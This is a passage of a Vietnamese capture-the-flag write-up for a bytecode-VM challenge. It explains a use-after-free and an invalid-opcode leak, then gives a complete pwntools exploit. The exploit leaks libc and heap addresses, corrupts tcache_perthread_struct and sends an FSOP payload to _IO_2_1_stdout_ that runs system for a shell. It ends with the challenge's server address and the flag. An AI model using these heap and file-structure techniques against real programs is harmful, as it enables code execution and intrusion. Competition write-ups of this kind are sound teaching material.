struct Node *next_;
}Node;
typedef struct Stack
{
size_t size_;
Node *top_;
}Stack;
typedef struct
{
uint8_t *name_;
Node **arrayPool_;
Node **stringPool_;
size_t array_len_, string_len_, code_size_;
uint8_t *code_;
Stack *stack_;
}Machine;
```
- Đầu tiên là `*name`, con trỏ đến nơi chứa name của `machine`.
- Tiếp theo là `Node **arrayPool_` và `Node **stringPool_`. Struct này làm nhiệm vụ chứa các `array` và `string`. Con trỏ ở trong `machine` sẽ trỏ đến một chunk khác chứa danh sách các con trỏ, các con trỏ là nơi chứa giá trị của các `array` hoặc `string`
- `*code` là nơi chứa các code để thực thi `machine`.
- `*stack` là nơi ngăn xếp Node dùng khi chạy code
### runMachine
- Hàm này thực hiện các chức năng cơ bản của VM như cộng/trừ/nhân/chia, gắn/lấy giá trị array/string:
- `case Num` sẽ lấy số ra và push lên stack
- `case Aray/String` sẽ lấy `Array/String` tại index ta chọn và push lên stack. Case này có check bounds đồng thời `id` được khai báo là `size_t` nên an toàn.
- `case Add/Sub/Mul/Div` sẽ lấy hai số từ stack ra và thực hiện phép tính. Nhưng nó check:
```clike!
if(oprand1->type_ != tNum || oprand2->type_ != tNum)
{
puts("Invalid oprand");
deleteNode(oprand1);
deleteNode(oprand2);
success = 0;
goto end;
}
```
- Nghĩa là nếu thứ lấy ra không phải là `num` mà là `array/string`, chúng sẽ bị `free`. Nhưng lúc này các `array/string` kia vẫn còn được dùng bởi `machine`. Điều này tạo ra bug `Use after free`.
- `case Get/Set` sẽ lấy/gắn giá trị của `aray/string` với index do ta chỉ định. Case này cũng check như trên và gây ra bug `Use after free`.
- Ngoài ra, ở hàm này còn có một bug unintended khác ở:
```clike!
default:
printf("Invalid opcode: 0x%x\n", op);
success = 0;
goto end;
```
- Nghĩa là nếu có `opcode` không hợp lệ, chương trình sẽ in nó ra. Xem lại hàm `modifyMachine`:
```clike!
if(size > machines[id]->code_size_)
{
free(machines[id]->code_);
machines[id]->code_ = (uint8_t*)malloc(size*sizeof(uint8_t));
}
machines[id]->code_size_ = size;
printf("New code: ");
read(0, machines[id]->code_, machines[id]->code_size_);
```
- Với hàm read, ta hoàn toàn có thể leak từng byte ra:
```python!
leak=0
for i in range(1,6):
modify(1,0x50,nop()*(i+4)+b'\x00')
run(1)
ru(b'Invalid opcode: ')
a=int(r(4),16)
leak+=(a<<(i*8))
info(hex(a))
```
### Exploit
- Bởi vì bài này cho ta malloc với size tự chọn, ta hoàn toàn có thể làm xuất hiện `unsorted bin`, sau đó tiến hành leak:
```py!
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 0x1000, b'a'*100) #tạo chunk lớn
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 20, b'a'*20) #tránh gộp top chunk
delete_machine(0) #tạo unsorted bin
l.address=0
for i in range(1,6):
modify(1,0x50,nop()*(i+4)+b'\x00')
run(1)
ru(b'Invalid opcode: ')
a=int(r(4),16)
l.address+=(a<<(i*8))
l.address-=0x21b300
info(f'libc: {hex(l.address)}')
```
- Sau khi đã có `libc`, tiếp theo ta cần leak `heap`. Nhưng với cách leak ở trên, ta chỉ có thể leak từ byte thứ 4 trở đi. Nhưng nếu ta dùng `tcache` để leak, chỉ có một pointer duy nhất, khiến cho ta không thể leka được.
- Vậy giải pháp thay thế là `large bins`. Khi một chunk ở `unsorted bin`, nếu ta yêu cầu malloc với size lớn hơn size của `unsorted bins`, nó sẽ trở thành `large bins`. `large bins` sẽ có con trỏ heap nằm ở `[2] và [3]`, khiến cho ta có thể leak bằng cách trên:
```python!
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 0xfd0, b'a'*2) #tạo large bins
heap=0
for i in range(1,6):
modify(1,0x50,nop()*(i+4+0x10)+b'\x00')
run(1)
ru(b'Invalid opcode: ')
a=int(r(4),16)
heap+=(a<<(i*8))
info(hex(a))
heap-=0x400
info(f'heap: {hex(heap)}')
```
- Đã có `heap` và `libc`, tiếp theo ta cần dùng bug `Use after free` để exploit bài này. Trước tiên, ta cần tạo `machine` dẫn đến `Use after free`:
```python!
pay=array(2)+array(1)+add()+ret()
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 0x50, pay) #index 2
```
- Tiếp theo, ta sẽ tạo một `machine` để thuận tiện sau này lấy lại con trỏ `array` đã bị `free` kia. Làm như này là bởi vì khi đã tạo `machine` này rồi, sau này muốn lấy lại chunk nào thì chỉ cần `modify` lại là được:
```python!
create_machine(b'a'*0x10, 1, [[3]], 1, [b'b'*5], 0x5, b'a') #index 3
```
- Tiếp theo, tạo một `machine` với `size=0x200` để sau này khi `delete`, tcache sẽ có sẵn con trỏ với `size=0x200`, thuận tiện cho việc ghi đè `tcache_perthread_struct` sau này:
```python!
create_machine(b'a'*0x10, 1, [[3]], 1, [b'b'*5], 0x200, b'a') #index 4
```
- Bây giờ chỉ việc `runMachine(2)`, sẽ có bug `Use after free`. Để ý ở payload trên kia, ta chọn `array[1] và array[2]`:

- Tiếp theo, ta chỉ cần `modify(3)` về size 0x20, ta sẽ có chunk 0x30 và kiểm soát con trỏ trỏ đến giá trị của `array`:
```python!
modify(3,0x20,p64(heap+0x188)+p64(3))
```
- Tiếp theo, ta chỉ cần sửa lại `code`, dùng `case Set` để ghi giá trị của `arary`, thực chất là sửa `tcache_perthread_struct`, từ đó ghi đè vào `_IO_2_1_stdout` để lấy shell. Bởi vì mỗi lần ghi giá trị của `array` chỉ được `3 bytes`, ta phải làm 2 lần:
```python!
modify(3,0x20,p64(heap+0x188)+p64(3)) #lấy ra chunk 0x30 để kiểm soát pointer
pay=array(2)+num(0)+set_val((l.sym._IO_2_1_stdout_)&0xffffff)+ret()
modify(2,0x50,pay) #sửa code
run(2)
modify(3,0x20,p64(heap+0x188+3)+p64(3)) #sửa lại pointer
pay=array(2)+num(0)+set_val((l.sym._IO_2_1_stdout_>>(4*6))&0xffffff)+ret()
modify(2,0x50,pay)
run(2)
```
- Sau khi xong, ta chỉ cần `malloc(0x200)` và gửi payload `FSOP` là xong.
- Final script:
```python!
#!/usr/bin/python3
from pwn import *
e = ELF('23_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
w = lambda sec: p.wait(sec)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
l64 = lambda: u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ll64 = lambda: int(r(14),16)
bin = lambda : next(l.search(b'/bin/sh'))
if args.REMOTE:
conn = 'nc 165.22.55.200 40003'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(e.path)
def rop_binsh(no_ret=1):
rop = ROP(l)
ret = rop.find_gadget(['ret'])
for i in range(no_ret):
rop.raw(ret)
rop.system(next(l.search(b'/bin/sh\0')))
return rop.chain()
class op:
Num = 0
Array = 1
String = 2
Add = 3
Sub = 4
Mul = 5
Div = 6
Get = 7
Set = 8
Nop = 9
Ret = 10
def insn(opcode, literal=0):
if not (0 <= literal < 0x1000000):
raise ValueError("Literal value must be a 24-bit number (0 to 0xFFFFFF)")
# Ghép opcode và literal lại thành một số 32-bit rồi đóng gói
full_insn = opcode | (literal << 8)
return p32(full_insn)
def num(value):
return insn(op.Num, value)
def array(pool_index):
return insn(op.Array, pool_index)
def stringg(pool_index):
return insn(op.String, pool_index)
def add():
return insn(op.Add)
def sub():
return insn(op.Sub)
def mul():
return insn(op.Mul)
def div():
return insn(op.Div)
def get(literal_val=0):
return insn(op.Get, literal_val)
def set_val(value_to_set):
return insn(op.Set, value_to_set)
def nop(literal_val=0):
return insn(op.Nop, literal_val)
def ret():
return insn(op.Ret)
def modify(id,size, content):
sla(b'>', b'2')
sla(b':', str(id).encode())
sla(b':', str(size).encode())
sa(b':', content)
def create_machine(name, array_count, array_values, str_count, str_values, code_size, code):
sla(b'>', b'1')
sla(b'Name', name)
sln(b'array:', array_count)
for sub_array in array_values:
arr_str = "[" + ",".join(str(v) for v in sub_array) + "]"
sa(b':', arr_str.encode())
sln(b'string:', str_count)
for s in str_values:
sa(b'String', s)
sln(b'size:', code_size)
sa(b'Code:', code)
def delete_machine(id):
sla(b'>', b'4')
sla(b':', str(id).encode())
def nop():
return p8(9)
def run(idx):
sla(b'>', b'3')
sla(b':', str(idx).encode())
def conv(ptr,addr):
return p64(((ptr >> 12)^addr))
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
brva 0x00000000000025E1
c
''')
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 0x1000, b'a'*100)
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 20, b'a'*20)
delete_machine(0)
l.address=0
for i in range(1,6):
modify(1,0x50,nop()*(i+4)+b'\x00')
run(1)
ru(b'Invalid opcode: ')
a=int(r(4),16)
l.address+=(a<<(i*8))
l.address-=0x21b300
info(f'libc: {hex(l.address)}')
# delete_machine(1)
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 0xfd0, b'a'*2)
heap=0
for i in range(1,6):
modify(1,0x50,nop()*(i+4+0x10)+b'\x00')
run(1)
ru(b'Invalid opcode: ')
a=int(r(4),16)
heap+=(a<<(i*8))
info(hex(a))
heap-=0x400
info(f'heap: {hex(heap)}')
pay=array(2)+array(1)+add()+ret()
create_machine(b'a'*0x10, 3, [[3,4,5],[6,7,8],[9,10,11]], 1, [b'b'*50], 0x50, pay)
create_machine(b'a'*0x10, 1, [[3]], 1, [b'b'*5], 0x5, b'a')
create_machine(b'a'*0x10, 1, [[3]], 1, [b'b'*5], 0x200, b'a')
modify(4,0x300,b'a')
GDB()
run(2)
modify(3,0x20,p64(heap+0x188)+p64(3))
pay=array(2)+num(0)+set_val((l.sym._IO_2_1_stdout_)&0xffffff)+ret()
modify(2,0x50,pay)
run(2)
modify(3,0x20,p64(heap+0x188+3)+p64(3))
pay=array(2)+num(0)+set_val((l.sym._IO_2_1_stdout_>>(4*6))&0xffffff)+ret()
modify(2,0x50,pay)
run(2)
fp = FileStructure()
fp.flags = b' sh\0'
fp._lock = p64(l.sym['_IO_stdfile_1_lock'])
fp._wide_data = p64(l.sym['_IO_2_1_stdout_']-0x10)
fp.unknown2 = p64(0)*4 + p64(l.sym['system']) + p64(l.sym['_IO_2_1_stdout_']+0x60)
fp.vtable = p64(l.address+0x216f58-0x38)
payload = bytes(fp)
modify(2,0x200,payload)
p.interactive()
```
> KMACTF{kokORO_Py0NpY0n_mACh1?k4Ng@ERU_furi_5hiTe_mOU_CH0tt0_CH!k@D2UIcHa3}